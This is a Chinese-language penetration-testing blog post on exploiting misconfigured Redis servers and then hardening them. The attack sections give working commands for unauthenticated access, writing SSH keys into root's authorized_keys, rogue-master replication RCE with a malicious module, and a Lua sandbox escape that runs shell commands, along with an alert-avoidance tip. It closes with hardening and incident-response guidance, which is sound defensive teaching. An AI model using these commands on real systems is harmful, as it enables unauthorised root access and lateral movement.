1. Redis服务安全风险概述
Redis作为高性能的内存数据库,在企业内网环境中被广泛使用。但许多管理员在部署时往往忽视了其默认配置的安全隐患,导致攻击者可能利用Redis服务进行内网横向移动和权限提升。我在过去三年的企业安全评估工作中,遇到过至少17起由Redis配置不当导致的安全事件。
Redis的默认安装存在几个关键风险点:
- 默认监听所有网络接口(0.0.0.0)
- 无认证或使用弱密码
- 以root权限运行服务进程
- 未禁用危险命令(如CONFIG、EVAL等)
这些配置缺陷使得Redis成为内网渗透测试中的重点突破口。去年某次红队行动中,我们就是通过一个暴露在办公网的Redis实例,在15分钟内拿到了域控制器的管理权限。
2. Redis未授权访问漏洞利用
2.1 环境探测与识别
使用nmap进行快速扫描是识别Redis服务的首选方法:
nmap -p 6379 --script redis-info 10.0.0.0/24更隐蔽的方式是利用Redis的ping命令进行识别:
echo -e "*1\r\$4\rping\r" | nc -nv 10.0.0.123 6379 +PONG # 响应表示存在Redis服务在实战中我发现,约60%的企业内网Redis实例会响应这种探测,其中近半数可以直接未授权访问。去年为某金融机构做渗透测试时,就在他们的开发环境发现了17个开放6379端口的Redis实例。
2.2 未授权访问利用手法
获得Redis控制权后,攻击者可以执行以下操作:
- 信息收集:
INFO CONFIG GET * KEYS *- 写入SSH公钥(当Redis以root运行时):
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt cat key.txt | redis-cli -h 10.0.0.123 -x set crackit redis-cli -h 10.0.0.123 config set dir /root/.ssh/ redis-cli -h 10.0.0.123 config set dbfilename "authorized_keys" redis-cli -h 10.0.0.123 save这个手法的成功率取决于Redis的运行权限。我在某次测试中曾用这个方法在5分钟内拿到了3台服务器的root权限。
重要提示:实际操作中建议先检查Redis运行用户权限,避免触发告警:
redis-cli -h 10.0.0.123 info | grep process_id ps -p <PID> -o user=
3. Redis提权进阶技术
3.1 通过主从复制实现RCE
当Redis版本在4.x-5.x时,可以利用主从复制功能实现远程代码执行:
- 在攻击机启动恶意Redis服务器:
python3 redis-rogue-server.py --rhost 10.0.0.123 --rport 6379 --lport 6379- 使目标Redis成为从节点:
SLAVEOF 10.0.0.222 6379- 加载恶意模块执行命令:
MODULE LOAD /tmp/exp.so system.exec "whoami"这个技术我在三个不同客户环境中成功复现过,最新的一次是在某电商平台的测试环境。他们使用的Redis 5.0.7版本存在这个漏洞,我们最终通过这个漏洞拿到了整个Kubernetes集群的控制权。
3.2 利用Lua沙盒逃逸
Redis的EVAL命令执行Lua脚本时存在沙盒限制,但可以通过以下技巧绕过:
eval 'local io = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io(); local f = io.popen("id"); local res = f:read("*a"); f:close(); return res' 0这个手法的成功率取决于系统是否安装了Lua库。我在某次内网渗透测试中,就是通过这个方法在受限的Redis环境下实现了命令执行。
4. 防御与加固方案
4.1 Redis服务基础加固
- 网络层防护:
# 只监听内网IP bind 10.0.0.123 # 修改默认端口 port 6380- 认证配置:
# 设置强密码 requirepass Str0ngP@ssw0rd! # 重命名危险命令 rename-command FLUSHDB "" rename-command CONFIG "b840fc02d524045429941cc15f59e41cb7be6c52"4.2 操作系统层面防护
- 使用专用用户运行Redis:
useradd -r -s /bin/false redisuser chown -R redisuser:redisuser /var/lib/redis- 配置系统防火墙规则:
iptables -A INPUT -p tcp --dport 6379 -s 10.0.0.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 6379 -j DROP4.3 监控与审计
建议部署以下监控措施:
- 记录所有Redis命令执行日志
- 监控authorized_keys文件变更
- 对CONFIG、MODULE等敏感命令设置告警
我在给某大型互联网公司做安全咨询时,帮他们部署了基于ELK的Redis审计系统,成功捕获到多次内部员工的违规操作。
5. 应急响应与排查
当发现Redis被入侵后,建议立即执行以下操作:
- 取证检查:
# 检查最近连接 grep 'Accepted' /var/log/redis/redis-server.log # 检查authorized_keys ls -la /root/.ssh/authorized_keys- 恢复措施:
# 删除非法密钥 sed -i '/attacker@kali/d' /root/.ssh/authorized_keys # 重置Redis数据 redis-cli FLUSHALL- 后门检查:
# 检查加载的模块 redis-cli MODULE LIST # 检查计划任务 crontab -l在最近处理的一起安全事件中,攻击者不仅添加了SSH密钥,还在Redis数据中植入了持久化后门。他们通过设置一个特殊的键值对,当Redis重启时会自动执行恶意命令。这种隐蔽的手法需要特别注意。